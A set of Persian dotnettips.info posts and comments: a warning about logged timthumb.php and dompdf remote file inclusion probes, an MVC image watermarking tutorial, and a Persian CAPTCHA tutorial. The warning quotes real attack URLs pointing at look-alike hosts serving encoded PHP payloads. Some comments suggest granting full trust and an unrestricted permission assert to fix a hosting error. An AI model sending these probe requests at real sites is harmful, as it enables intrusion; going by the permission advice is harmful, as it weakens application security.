فقط یک نکته رو میخواستم بگم نام کوکی سشن بطور پیشفرض ASP.NET_SessionId هست و میشه از این نام فهمید که سرور asp.net هستش. از طریق کد زیر توی وب کانفیگ میتونید تغییرش بدید:

```
<system.web>
    <sessionState cookieName="foo" />
</system.web>
```

عنوان: **اجرای کد از راه دور**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۱۶ ۱۰:۲۰
آدرس: www.dotnettips.info
برچسب‌ها: Security, PHP

مدتی هست که با بررسی لاگ‌های خطای برنامه سایت، به این نوع لینک‌ها(ی یافت نشد) می‌رسم:

```
http://www.thissite.info/wp-
themes_page/netweb/timthumb.php?src=http://wordpress.com.4creatus.com/info.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http://picasa.com.ganesavaloczi.hu/jos.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.topsaitebi.ge%2Fcpx.p
hp
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fpicasa.com.fm-
pulizie.it%2Fxgood.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.showtimeentertainment
.ca%2Fstunxx.php
```

و نکته جالب این‌ها، وجود خارجی داشتن سایتی مانند http://wordpress.com.4creatus.com/ است. ابتدای نام دومین را هم با wordpress.com یا flickr.com شروع کرده‌اند تا آنچنان مشکوک به نظر نرسد.
به نظر این مساله باگی است در فایل timthumb.php بلاگ‌های وردپرس که دارد مورد سوء استفاده واقع می‌شود. به عبارتی این فایل خاص، به علت داشتن باگ امنیتی، امکان اجرای کد از راه دور را فراهم کرده است. برای نمونه اگر به آدرس مذکور مراجعه کنید فایل‌های php آن قابل دریافت و بررسی هستند. این فایل‌ها در ابتدای کار دارای هدر Gif بوده و در ادامه دارای کد PHP هستند. کدهای آن هم ابتدا base64 encoded شده‌اند و سپس gzip encoded.

در کل جهت اطلاع کلیه کسانی که از وردپرس استفاده می‌کنند برای بررسی وضعیت سایت یا بلاگ خودشان.

نظرات خوانندگان

نویسنده: آرش
تاریخ: ۱۳۹۲/۰۱/۱۶ ۲۱:۵۸

درود
ممکن است قدری بیشتر توضیح دهید، من تقریبا چیزی دستگیرم نشد
با سپاس

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۱۶ ۲۲:۸

timthumb.php remote code execution را در گوگل جستجو کنید.

نویسنده: محمد صادق شاد
تاریخ: ۱۳۹۲/۰۱/۱۷ ۱۸:۲۹

امروز یکی از همکاران متوجه یه همچین مشکلی شد. دلیلشم استفاده از قالب‌های اماده (غالبا دارای کدهای مخرب) بود.

نویسنده: رضوی
تاریخ: ۱۳۹۲/۰۱/۱۸ ۱۶:۳۸

سلام
به این روش RFI یا Remote File Inclusion گفته می‌شود.
مشکل از جایی ناشی می‌شود که برنامه نویس در کد خود include را به صورت پارامتری از ورودی قرار داده است. البته اگر Remote File Include در تنظیمات PHP غیر فعال باشد با استفاده از این روش هکر نمی‌تواند کاری انجام دهد(حتی با وجود باگ در کد)
برای بررسی phpinfo را چک کنید

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۲۵ ۱۲:۲۸

سعی و خطای جدیدی که لاگ شده:

```
path : \dompdf\dompdf.php
QUERY_STRING  input_file=http://miroslavmorant.com/tutoriales/wp-content/plugins/contact-form-7/images/id.flv???
```

نتیجه: فایل dompdf.php نیز احتمالا مشکل امنیتی دارد. بررسی کنید.

نویسنده: محمد باقر سیف اللهی
تاریخ: ۱۳۹۲/۰۱/۲۵ ۲۱:۵۱

مورد مشابهی که برای لاگ‌های من نیز پیش آمد :

```
/themes/Fkthemes/thumb.php?src=http://flickr.com.tecnobotica.com/bad.php

/wp-content/themes/Fkthemes/thumbopen.php?src=http://flickr.com.tecnobotica.com/bad.php
```

نویسنده: علیرضا
تاریخ: ۱۳۹۲/۰۱/۲۶ ۹:۲۰

با سلام؛ سایت شما با asp.net مگه نوشته نشده ؟! پس این لاگها و وردپرس ارتباطشون رو با سایت شما متوجه نمی‌شم !

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۲۶ ۱۰:۴

اخبار مرتبط رو دنبال می‌کنید؟ خبر از یک سری حملات گسترده بود ... یعنی حملاتی کور ... سعی می‌کنند و باز هم سعی می‌کنند، خیلی از جاها، شاید چند جایی جواب داد.

عنوان: **اضافه کردن Watermark به تصاویر یک برنامه ASP.NET MVC در صورت لینک شدن در سایتی دیگر**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۲/۱۹ ۸:۵
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, Watermark

درگیر شدن با سایت‌های دیگر که چرا مطالب ما را کپی کرده‌اید نهایتا بجز فرسایش عصبی حاصل دیگری را به همراه ندارد. اساسا زمانیکه مطلبی را به صورت باز در اینترنت انتشار می‌دهید، قید کپی شدن یا نشدن آن‌را باید زد. اما ... می‌توان همین سایت‌ها را تبدیل به تبلیغ کننده‌های رایگان کار خود نمود که در ادامه نحوه انجام آن‌را در یک برنامه ASP.NET MVC بررسی خواهیم کرد:

الف) نیاز است ارائه تصاویر تحت کنترل برنامه باشند.

```
using System.IO;
using System.Net.Mime;
using System.Web.Mvc;

namespace MvcWatermark.Controllers
{
    public class HomeController : Controller
    {
        const int ADay = 86400;

        public ActionResult Index()
        {
            return View();
        }

        [OutputCache(VaryByParam = "fileName", Duration = ADay)]
        public ActionResult Image(string fileName)
        {
            fileName = Path.GetFileName(fileName); // تمیز سازی امنیتی است
            var rootPath = Server.MapPath("~/App_Data/Images");
            var path = Path.Combine(rootPath, fileName);
            if (!System.IO.File.Exists(path))
            {
                var notFoundImage = "notFound.png";
                path = Path.Combine(rootPath, notFoundImage);
                return File(path, MediaTypeNames.Image.Gif, notFoundImage);
            }
            return File(path, MediaTypeNames.Image.Gif, fileName);
        }
    }
}
```

در اینجا یک کنترلر را مشاهده می‌کنید که در اکشن متد Image آن، نام یک فایل دریافت شده و سپس این نام در پوشه App_Data/Images جستجو گردیده و نهایتا در مرورگر کاربر Flush می‌شود. از آنجائیکه الزامی ندارد fileName، واقعا یک fileName صحیح باشد، نیاز است توسط متد استاندارد Path.GetFileName این نام دریافتی اندکی تمیز شده و سپس مورد استفاده قرار گیرد. همچنین جهت کاهش بار سرور، از یک OutputCache به مدت یک روز نیز استفاده گردیده است.
نحوه استفاده از این اکشن متد نیز به نحو زیر است:

```
<img src="@Url.Action(actionName: "Image", controllerName: "Home", routeValues: new { fileName =
"EF_Stra_08.gif" })" />
```

ب) آیا فراخوان تصویر ما را مستقیما در سایت خودش قرار داده است؟

```
private bool isEmbeddedIntoAnotherDomain
        {
            get
```

```
            {
                return this.HttpContext.Request.UrlReferrer != null &&
!this.HttpContext.Request.Url.Host.Equals(this.HttpContext.Request.UrlReferrer.Host,
StringComparison.InvariantCultureIgnoreCase);
            }
        }
```

در ادامه توسط خاصیت سفارشی isEmbeddedIntoAnotherDomain درخواهیم یافت که درخواست رسیده، از دومین جاری صادر شده است یا خیر. اینکار توسط بررسی UrlReferrer ارسال شده توسط مرورگر صورت می‌گیرد. اگر Host این UrlReferrer با Host درخواست جاری یکی بود، یعنی تصویر از سایت خودمان فراخوانی شده‌است.

ج) افزودن خودکار Watermark در صورت کپی شدن در سایتی دیگر

```
private byte[] addWaterMark(string filePath, string text)
        {
            var image = new WebImage(filePath);
            image.AddTextWatermark(text);
            return image.GetBytes();
        }
```

کلاسی در فضای نام System.Web.Helpers وجود دارد به نام WebImage که کار افزودن Watermark را بسیار ساده کرده است. نمونه‌ای از نحوه استفاده از آن‌را در متد فوق ملاحظه می‌کنید.
اما ... پس از امتحان تصاویر مختلف ممکن است گاها با خطای زیر مواجه شویم:

```
A Graphics object cannot be created from an image that has an indexed pixel format.
```

مشکل از اینجا است که تصاویر با فرمت ذیل برای انجام کار Watermark پشتیبانی نمی‌شوند:

```
PixelFormatUndefined
PixelFormatDontCare
PixelFormat1bppIndexed
PixelFormat4bppIndexed
PixelFormat8bppIndexed
PixelFormat16bppGrayScale
PixelFormat16bppARGB1555
```

اما می‌توان تصویر دریافتی را ابتدا تبدیل به BMP کرد و سپس Watermark دار نمود:

```
private byte[] addWaterMark(string filePath, string text)
        {
            using (var img = System.Drawing.Image.FromFile(filePath))
            {
                using (var memStream = new MemoryStream())
                {
                    using (var bitmap = new Bitmap(img))//avoid gdi+ errors
                    {
                        bitmap.Save(memStream, ImageFormat.Png);
                        var webImage = new WebImage(memStream);
                        webImage.AddTextWatermark(text, verticalAlign: "Top", horizontalAlign: "Left",
fontColor: "Brown");
                        return webImage.GetBytes();
                    }
                }
            }
        }
```

در اینجا نمونه اصلاح شده متد addWaterMark فوق را بر اساس کار با تصاویر bmp و سپس تبدیل آن‌ها به png، ملاحظه می‌کنید. به این ترتیب دیگر به خطای یاد شده بر نخواهیم خورد.

در ادامه، قسمت آخر کار، اعمال این مراحل به اکشن متد Image است:

```
if (isEmbeddedIntoAnotherDomain)
            {
                var text = Url.Action(actionName: "Index", controllerName: "Home", routeValues: null,
protocol: "http");
                var content = addWaterMark(path, text);
                return File(content, MediaTypeNames.Image.Gif, fileName);
            }
            return File(path, MediaTypeNames.Image.Gif, fileName);
```

در اینجا اگر تشخیص داده شود که تصویر، در دومین دیگری لینک شده است، آدرس سایت ما به صورت خودکار در بالای تصویر درج خواهد شد.

کدهای نهایی این کنترلر را از اینجا می‌توانید دریافت کنید:

HomeController.cs

به همراه نمونه تصویری که استثنای یاد شده را تولید می‌کند؛ جهت آزمایش بیشتر:

EFStra08.gif

نظرات خوانندگان

نویسنده: محسن جمشیدی
تاریخ: ۱۳۹۲/۰۲/۱۹ ۸:۵۷

اتفاقا دیروز دیدم در سایتی مطالب این سایت استفاده شده بود که برایم خوشایند نبود. توجهم به تصاویر جلب شد که نام dotnettips درج شده بود فکر کردم که جدیدا این امکان اضافه شده و بعد از بررسی متوجه شدم که این اتفاق در سایتهای دیگر می‌افتد برایم جالب بود

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۳/۱۴ ۸:۲۷

جهت تکمیل بحث، با استفاده از IIS Url Rewrite نیز می‌توان شبیه چنین کاری را انجام داد.

نویسنده: حمید حسین وند
تاریخ: ۱۳۹۳/۰۲/۱۰ ۰:۲۳

سلام
آیا میشه همچین کاری رو توی asp.net web form کرد؟
یا اصلا یه کاری میشه کرد وقتی تصویر رو از طریق همین redactor (فایل ashx) آپلود میکنیم همون لحظه لوگویی یا متنی رو بهش اضافه کنه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۱۰ ۰:۳۲

کدهای فوق قابل تبدیل به یک Generic handler وب فرم‌ها (فایل‌های ashx) هستند. در اینجا بجای Url.Action فوق برای مقدار دهی img src، خواهید داشت pic.ashx?filename=tst.png.
ضمنا ASP.NET MVC سورس باز است و کدهای متد AddTextWatermark آن‌را در اینجا می‌توانید مطالعه کنید.

عنوان: **نحوه ایجاد یک تصویر امنیتی (Captcha) با حروف فارسی در ASP.Net MVC**
نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۳/۰۳ ۱۷:۵
آدرس: www.dotnettips.info
گروه‌ها: MVC, ASP.Net MVC, CAPTCHA, Security

در این مطلب، سعی خواهیم کرد تا همانند تصویر امنیتی این سایت که موقع ورود نمایش داده می‌شود، یک نمونه مشابه به آنرا در ASP.Net MVC ایجاد کنیم. ذکر این نکته ضروری است که قبلا آقای پایروند در یک مطلب دو قسمتی کاری مشابه را انجام داده بودند، اما در مطلبی که در اینجا ارائه شده سعی کرده ایم تا تفاوتهایی را با مطلب ایشان داشته باشد.

همان طور که ممکن است بدانید، اکشن متدها در کنترلرهای MVC می‌توانند انواع مختلفی را برگشت دهند که شرح آن در مطالب این سایت به مفصل گذشته است. یکی از این انواع، نوع ActionResult می‌باشد. این یک کلاس پایه برای انواع برگشتی توسط اکشن متدها مثل FileResult، JsonResult می‌باشد. (اطلاعات بیشتر را اینجا بخوانید) اما ممکن است مواقعی پیش بیاید که بخواهید نوعی را توسط یک اکشن متد برگشت دهید که به صورت توکار تعریف نشده باشد. مثلا زمانی را در نظر بگیرید که بخواهید یک تصویر امنیتی را برگشت دهید. یکی از راه حل‌های ممکن به این صورت است که کلاسی ایجاد شود که از کلاس پایه ActionResult ارث بری کرده باشد. بدین صورت:

```
using System;
using System.Web.Mvc;

namespace MVCPersianCaptcha.Models
{
    public class CaptchaImageResult : ActionResult
    {
        public override void ExecuteResult(ControllerContext context)
        {
            throw new NotImplementedException();
        }
    }
}
```

همان طور که مشاهده می‌کنید، کلاسی به اسم CaptchaImageResult تعریف شده که از کلاس ActionResult ارث بری کرده است. در این صورت باید متد ExecuteResult را override کنید. متد ExecuteResult به صورت خودکار هنگامی که از CaptchaImageResult به عنوان یک نوع برگشتی اکشن متد استفاده شود اجرا می‌شود. به همین خاطر باید تصویر امنیتی توسط این متد تولید شود و به صورت جریان (stream) برگشت داده شود

کدهای اولیه برای ایجاد یک تصویر امنیتی به صورت خیلی ساده از کلاس‌های فراهم شده توسط GDI+ ، که در دات نت فریمورک وجود دارند استفاده خواهند کرد. برای این کار ابتدا یک شیء از کلاس Bitmap با دستور زیر ایجاد خواهیم کرد:

```
// Create a new 32-bit bitmap image.
Bitmap bitmap = new Bitmap(width, height, PixelFormat.Format32bppArgb);
```

پارامترهای اول و دوم به ترتیب عرض و ارتفاع تصویر امنیتی را مشخص خواهند کرد و پارامتر سوم نیز فرمت تصویر را بیان کرده است. Format32bppArgb یعنی یک تصویر که هر کدام از پیکسل‌های آن 32 بیت فضا اشغال خواهند کرد ، 8 بیت اول میزان آلفا، 8 بیت دوم میزان رنگ قرمز، 8 بیت سوم میزان رنگ سبز، و 8 تای آخر نیز میزان رنگ آبی را مشخص خواهند کرد

سپس شیئی از نوع Graphics برای انجام عملیات ترسیم نوشته‌های فارسی روی شیء bitmap ساخته می‌شود:

```
// Create a graphics object for drawing.
Graphics gfxCaptchaImage = Graphics.FromImage(bitmap);
```

خصوصیات مورد نیاز ما از gfxCaptchaImage را به صورت زیر مقداردهی می‌کنیم:

```
gfxCaptchaImage.PageUnit = GraphicsUnit.Pixel;
gfxCaptchaImage.SmoothingMode = SmoothingMode.HighQuality;
gfxCaptchaImage.Clear(Color.White);
```

واحد اندازه گیری به پیکسل، کیفیت تصویر تولید شده توسط دو دستور اول، و در دستور سوم ناحیه ترسیم با یک رنگ سفید پاک می‌شود.

سپس یک عدد اتفاقی بین 1000 و 9999 با دستور زیر تولید می‌شود:

```
// Create a Random Number from 1000 to 9999
int salt = CaptchaHelpers.CreateSalt();
```

متد CreateSalt در کلاس CaptchaHelpers قرار گرفته است، و نحوه پیاده سازی آن بدین صورت است:

```
public int CreateSalt()
{
   Random random = new Random();
   return random.Next(1000, 9999);
}
```

سپس مقدار موجود در salt را برای مقایسه با مقداری که کاربر وارد کرده است در session قرار می‌دهیم:

```
HttpContext.Current.Session["captchastring"] = salt;
```

سپس عدد اتفاقی تولید شده باید تبدیل به حروف شود، مثلا اگر عدد 4524 توسط متد CreateSalt تولید شده باشد، رشته "چهار هزار و پانصد و بیست و چهار" معادل آن نیز باید تولید شود. برای تبدیل عدد به حروف، آقای نصیری کلاس خیلی خوبی نوشته اند که چنین کاری را انجام می‌دهد. ما نیز از همین کلاس استفاده خواهیم کرد:

```
string randomString = (salt).NumberToText(Language.Persian);
```

در دستور بالا، متد الحاقی NumberToText با پارامتر Language.Persian وظیفه تبدیل عدد salt را به حروف فارسی معادل خواهد داشت.

به صورت پیش فرض نوشته‌های تصویر امنیتی به صورت چپ چین نوشته خواهند شد، و با توجه به این که نوشته ای که باید در تصویر امنیتی قرار بگیرد فارسی است، پس بهتر است آنرا به صورت راست به چپ در تصویر بنویسیم، بدین صورت:

```
// Set up the text format.
var format = new StringFormat();
int faLCID = new System.Globalization.CultureInfo("fa-IR").LCID;
format.SetDigitSubstitution(faLCID, StringDigitSubstitute.National);
format.Alignment = StringAlignment.Near;
format.LineAlignment = StringAlignment.Near;
format.FormatFlags = StringFormatFlags.DirectionRightToLeft;
```

و همچنین نوع و اندازه فونت که در این مثال tahoma می‌باشد:

```
// Font of Captcha and its size
Font font = new Font("Tahoma", 10);
```

خوب نوشته فارسی اتفاقی تولید شده آماده ترسیم شدن است، اما اگر چنین تصویری تولید شود احتمال خوانده شدن آن توسط روبات‌های پردازش گر تصویر شاید زیاد سخت نباشد. به همین دلیل باید کاری کنیم تا خواندن این تصویر برای این روبات‌ها سخت‌تر شود، روش‌های مختلفی برای این کار وجود دارند: مثل ایجاد نویز در تصویر امنیتی یا استفاده از توابع ریاضی سینوسی و

کسینوسی برای نوشتن نوشته‌ها به صورت موج. برای این کار اول یک مسیر گرافیکی در تصویر یا موج اتفاقی ساخته شود و به شیء gfxCaptchaImage نسبت داده شود. برای این کار اول نمونه ای از روی کلاس GraphicsPath ساخته می‌شود،

```
// Create a path for text
GraphicsPath path = new GraphicsPath();
```

و با استفاده از متد AddString ، رشته اتفاقی تولید شده را با فونت مشخص شده، و تنظیمات اندازه دربرگیرنده رشته مورد نظرر، و تنظیمات فرمت بندی رشته را لحاظ خواهیم کرد.

```
path.AddString(randomString,
                font.FontFamily,
                (int)font.Style,
                (gfxCaptchaImage.DpiY * font.SizeInPoints / 72),
                new Rectangle(0, 0, width, height), format);
```

با خط کد زیر شیء path را با رنگ بنقش با استفاده از شیء gfxCaptchaImage روی تصویر bitmap ترسیم خواهیم کرد:

```
gfxCaptchaImage.DrawPath(Pens.Navy, path);
```

برای ایجاد یک منحنی و موج از کدهای زیر استفاده خواهیم کرد:

```
//-- using a sin ware distort the image
int distortion = random.Next(-10, 10);
using (Bitmap copy = (Bitmap)bitmap.Clone())
{
          for (int y = 0; y < height; y++)
          {
              for (int x = 0; x < width; x++)
              {
                  int newX = (int)(x + (distortion * Math.Sin(Math.PI * y / 64.0)));
                  int newY = (int)(y + (distortion * Math.Cos(Math.PI * x / 64.0)));
                  if (newX < 0 || newX >= width) newX = 0;
                 if (newY < 0 || newY >= height) newY = 0;
                 bitmap.SetPixel(x, y, copy.GetPixel(newX, newY));
              }
         }
 }
```

موقع ترسیم تصویر امنیتی است:

```
//-- Draw the graphic to the bitmap
gfxCaptchaImage.DrawImage(bitmap, new Point(0, 0));

gfxCaptchaImage.Flush();
```

تصویر امنیتی به صورت یک تصویر با فرمت jpg به صورت جریان (stream) به مرورگر باید فرستاده شوند:

```
HttpResponseBase response = context.HttpContext.Response;
response.ContentType = "image/jpeg";
bitmap.Save(response.OutputStream, ImageFormat.Jpeg);
```

و در نهایت حافظه‌های اشغال شده توسط اشیاء فونت و گرافیک و تصویر امنیتی آزاد خواهند شد:

```
// Clean up.
font.Dispose();
gfxCaptchaImage.Dispose();
bitmap.Dispose();
```

برای استفاده از این کدها، اکشن متدی نوشته می‌شود که نوع CaptchaImageResult را برگشت می‌دهد:

```
public CaptchaImageResult CaptchaImage()
{
     return new CaptchaImageResult();
}
```

اگر در یک View خصیصه src یک تصویر به آدرس این اکشن متد مقداردهی شود، آنگاه تصویر امنیتی تولید شده نمایش پیدا می‌کند:

```
<img src="@Url.Action("CaptchaImage")"/>
```

بعد از پست کردن فرم مقدار text box تصویر امنیتی خوانده شده و با مقدار موجود در session مقایسه می‌شود، در صورتی که یکسان باشند، کاربر می‌تواند وارد سایت شود (در صورتی که نام کاربری یا کلمه عبور خود را درست وارد کرده باشد) یا اگر از این captcha در صفحات دیگری استفاده شود عمل مورد نظر می‌تواند انجام شود. در مثال زیر به طور ساده اگر کاربر در کادر متن مربوط به تصویر امنیتی مقدار درستی را وارد کرده باشد یا نه، پیغامی به او نشان داده می‌شود.

```
[HttpPost]
public ActionResult Index(LogOnModel model)
{
      if (!ModelState.IsValid) return View(model);

      if (model.CaptchaInputText == Session["captchastring"].ToString())
            TempData["message"] = "تصویر امنتی را صحیح وارد کرده اید";
      else
            TempData["message"] = "تصویر امنیتی را اشتباه وارد کرده اید";

      return View();
}
```

کدهای کامل مربوط به این مطلب را به همراه یک مثال از لینک زیر دریافت نمائید:

MVC-Persian-Captcha

نظرات خوانندگان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۳/۰۳ ۱۹:۳۶

ممنون. میشه قسمت بررسی نهایی در اکشن متد رو هم کپسوله کرد (چیزی شبیه به امکانات AOP سرخود در MVC). مثلا یک ویژگی جدید به نام ValidateCaptcha درست کرد که به اکشن متد اعمال شود و کار بررسی صحت اطلاعات ورودی مخصوص Captcha رو انجام و نهایتا اطلاعات ModelState رو بر اساس اطلاعات ورودی و Session ایی که در اینجا تعریف شده، به روز کنه:

```
[AttributeUsage(AttributeTargets.Method, AllowMultiple = false)]
    public sealed class ValidateCaptchaAttribute : ActionFilterAttribute
    {
        public override void OnActionExecuting(ActionExecutingContext filterContext)
        {
            var controllerBase = filterContext.Controller;

            var captchaInputTextProvider = controllerBase.ValueProvider.GetValue("CaptchaInputText");
            if (captchaInputTextProvider == null)
            {
                controllerBase.ViewData.ModelState.AddModelError("CaptchaInputText", "لطفا تصویر امنیتی
را وارد کنید");
                base.OnActionExecuting(filterContext);
                return;
            }
            var inputText = captchaInputTextProvider.AttemptedValue;

            if (inputText != Session["captchastring"].ToString())
               controllerBase.ViewData.ModelState.AddModelError("CaptchaInputText", "تصویر امنیتی را
اشتباه وارد کرده اید");
        }
    }
```

به این صورت (با استفاده از ویژگی فوق) همان بررسی متداول ModelState.IsValid در یک اکشن متد کافی خواهد بود.

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۳/۰۴ ۰:۲۷

بسیار عالی و سازنده، خیلی نکته مفیدی بود

نویسنده: میثم خوشقدم
تاریخ: ۱۳۹۲/۰۳/۰۴ ۱۳:۵۷

ممنون - مطلب کاربردی و مفیدی بود

شخصا این Captcha را به انواع دیگر ترجیح میدم چرا که:

1- شخصی سازی شده

2- ارجاع به سایت واسطی نداره

3- هیچ گونه سرباری نداره

4- اعمال هر گونه تغییر و اصلاح مناسب با فرهنگ و کشور و یا حتی نوع سایت قابل انجام است

بازهم تشکر می‌کنم

نویسنده: میثم خوشقدم
تاریخ: ۱۳۹۲/۰۳/۰۴ ۱۵:۱۷

سلام

اگر کد شما را گسترش دهیم و به جای پیغام‌های خطای ارسال شده، مقادیر Attributeها یا متادیتاهایی مثل Required را خواند و مستقیم پیغامی به کنترل و ModelState پاس نداد، فکر می‌کنم کامل‌تر باشه .

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۳/۰۴ ۱۶:۳۸

حالت کاملتر زمانی است که در سازنده کلاس ویژگی، این خطاها رو دریافت کنید و به کاربر اجازه بدید، پیغام‌های دلخواهی رو تنظیم کنه. چون Required فقط یک حالت است. حالت بعدی عدم تساوی مقدار ورودی با مقدار اصلی Captcha است که نیاز به پیغام دومی دارد.

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۳/۰۵ ۸:۴۱

خواهش می‌کنم دوست عزیز. لطف دارید

موارد بیشتری که می‌توان به آن افزود:
استفاده از فونت‌ها به صورت اتفاقی برای نوشتن متن تصویر امنیتی،
دادن رنگ‌ها به متن و پس زمینه به صورت اتفاقی به تصویر امنیتی،
معتبر نبودن session نگهدارنده عدد تصویر امنیتی بعد از یک میزان مشخص،
و غیره

نویسنده: حسینی
تاریخ: ۱۳۹۲/۰۳/۰۶ ۱۹:۴

سلام و مرسی از آموزش خوب و کاربردیتون
اما یکی از گزینه‌های چک لیست برنامه‌های ASP.NET MVC که آقای نصیری فرمودند عدم استفاده از سشن در برنامه‌ها بود و استفاده از کوکی‌های رمزنگاری شده پیشنهاد شده بود.

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۳/۰۶ ۲۱:۲

سلام. ممنون از نظر شما
چک لیست رو مطالعه کردم و عملا هم استفاده کردم.
استفاده از سشن راحت‌تر هست و به همین دلیل اون رو انتخاب کردم. نسخه بعدی این تصویر امنیتی رو با استفاده از نظرات همین مطلب ارائه می‌کنم.

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۳/۱۵ ۶:۲۸

سلام
نسخه بعدی این تصویر امنیتی رو از لینک زیر دریافت نمائید:
MVCPersianCaptcha-2.zip

امکاناتی که اضافه کردم:

- استفاده از کوکی رمزنگاری شده جهت ذخیره کردن مقدار عدد معادل تصویر امنیتی
- اضافه کردن ویژگی ValidateCaptcha جهت تعیین اعتبار کوکی و مقداری که کاربر وارد کرده
- اضافه کردن نویزهای اتفاقی
- تعیین یک میزان 30 ثانیه ای (قابل تغییر است) جهت معتبر بودن مقدار ارسالی توسط کاربر
- ایجاد قابلیت تازه سازی (refresh) تصویر امنیتی
- تغییر کلید رمزنگاری و رمزگشایی اطلاعات به ازاء هر روز

و غیره

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۳/۲۱ ۲۲:۵۲

پوشه‌های packages، bin، و obj از نسخه‌های اول و دوم این تصویر امنیتی حذف شده اند تا حجم فایلهای مربوطه کمتر شوند. به همین دلیل، بعد از اجرای هر کدام از این برنامه‌ها خطایی صادر می‌شود مبنی بر این که بسته ای به اسم Newtonsoft.Json در پروژه وجود ندارد. لطفا برای حل این مشکل به فایل Global.asax.cs مراجعه کنید و خط کد زیر را از آن حذف کنید: (این خط کد در این پروژه غیر ضروری است و نیازی به آن نیست)

```
WebApiConfig.Register(GlobalConfiguration.Configuration);
```

روش دیگر برای حل این نوع مشکلات، در مطلب بازسازی کامل پوشه packages بسته‌های NuGet به صورت خودکار بیان شده است.

نویسنده: بهمن خلفی
تاریخ: ۱۳۹۲/۰۴/۱۱ ۱۰:۳۴

با سلام و تشکر از همه دوستان

بنده در اولین استفاده یک تغییر داشتم که خواستم بقیه هم از آن استفاده کنند:

```
public ValidateCaptchaAttribute()
        {
            ErrorWasHappened = "خطایی اتفاق افتاده است";
            CaptchaCodeIsRequired = "لطفا کد امنیتی را وارد کنید";
            CaptchaCodeIsIncorrect = "کد امنیتی را اشتباه وارد کرده اید";
            CookieMustEnabled = "باید ابتدا قابلیت کوکی‌ها را در مرورگر خود فعال کنید";
            ExpireTimeCaptchaCodeBySeconds = 60;
            TimeIsExpired = string.Format("حداکثر مهلت وارد کردن کد امنیتی {0} ثانیه
است",ExpireTimeCaptchaCodeBySeconds.ToString());

        }
```

باز ممنون!

نویسنده: ایلیا اکبری فرد
تاریخ: ۱۳۹۲/۰۴/۱۴ ۲۱:۳۸

با سلام.

سپاس از مقاله خوبتون.

در کلاینت همه چی درست کار میکند ولی وقتی آنرا درون هاست واقعی publish میکنم، تصویر نمایش داده نمی‌شود و خطایی که توسط elmah لاگ می‌شود به صورت زیر است:

```
The system cannot find the file specified " source="mscorlib"
detail="System.Security.Cryptography.CryptographicException: The system cannot find the file specified.
```

با تشکر.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۴/۱۴ ۲۳:۲

```
<system.web>
 <trust level="Medium" originUrl=".*" />
```

شاید هاست شما مدیوم تراست هست. برای تست روی لوکال این تنظیم بالا رو به وب کانفیگ اضافه کنید تا خطا رو بتونید لوکال دیباگ کنید.

نویسنده: ایلیا اکبری فرد
تاریخ: ۱۳۹۲/۰۴/۱۴ ۲۳:۱۶

سپاس از پاسخ شما.

ولی با اضافه کردن آن ، همواره خطای زیر رخ می‌دهد:

```
The application attempted to perform an operation not allowed by the security policy.  To grant this
application the required permission please contact your system administrator or change the
application's trust level in the configuration file
```

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۴/۱۵ ۶:۷

سلام، از نظر شما متشکرم

همون طور که آقای محسن خان گفت، احتمالا هاست شما medium trust هست. اما رو کامپیوتر خودتون full trust برنامه نویسی می‌کنید.

چون هویت کاربر هنوز مشخص نشده پیغامی مبنی بر این لاگ میشه که اسمبلی mscorlib وجود نداره. در واقع وجود داره ولی نه برای کاربر anonymous ! همچنین این به دلیل medium trust بودن هم میتونه باشه. برای حل این مشکل کارهای زیر رو انجام بدین:

1) به فایل web.config برین و کد زیر رو اضافه کنید:

```
<trust level="Full" originUrl=".*" />
```

2) باید تغییری رو در متدهای الحاقی Encrypt و Decrypt بدین، که از این متدها برای رمزنگاری و رمزگشایی محتوای کوکی تصویر امنیتی استفاده میشه. قبل از هر کدوم از این متدها flag زیر رو اضافه کنید:

```
[System.Security.Permissions.PermissionSet(System.Security.Permissions.SecurityAction.Assert,
Unrestricted = true)]
```

همچنین، یک خط داخل بدنه هر کدوم از متدهای الحاقی Encrypt و Decrypt هست، منظورم این خط کد هست:

```
var cspp = new CspParameters { KeyContainerName = key };
```

که باید به خط کد زیر تبدیل بشه:

```
var cspp = new CspParameters { KeyContainerName = key, Flags = CspProviderFlags.UseMachineKeyStore };
```

نویسنده: ایلیا اکبری فرد
تاریخ: ۱۳۹۲/۰۴/۱۵ ۹:۷

بله کار کرد. متشکرم.

نویسنده: ایلیا اکبری فرد
تاریخ: ۱۳۹۲/۰۴/۲۹ ۱۸:۲۹

با سلام.
برای اولین بار که فرمی لود می‌شود همواره حتی با وارد کردن مقدار صحیح متن کپچا باز هم خطای نادرست بودن می‌دهد. ولی وقتی یکبار بر روی رفرش مربوط به کپچا کلیک میکنم تا کپچای جدیدی تولید کند ، درست کار می‌کند؟

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۲/۰۵/۰۱ ۲۱:۵۱

سلام دوست عزیز
بابت تاخیر بوجود آمده در پاسخ دهی عذرخواهی می‌کنم.

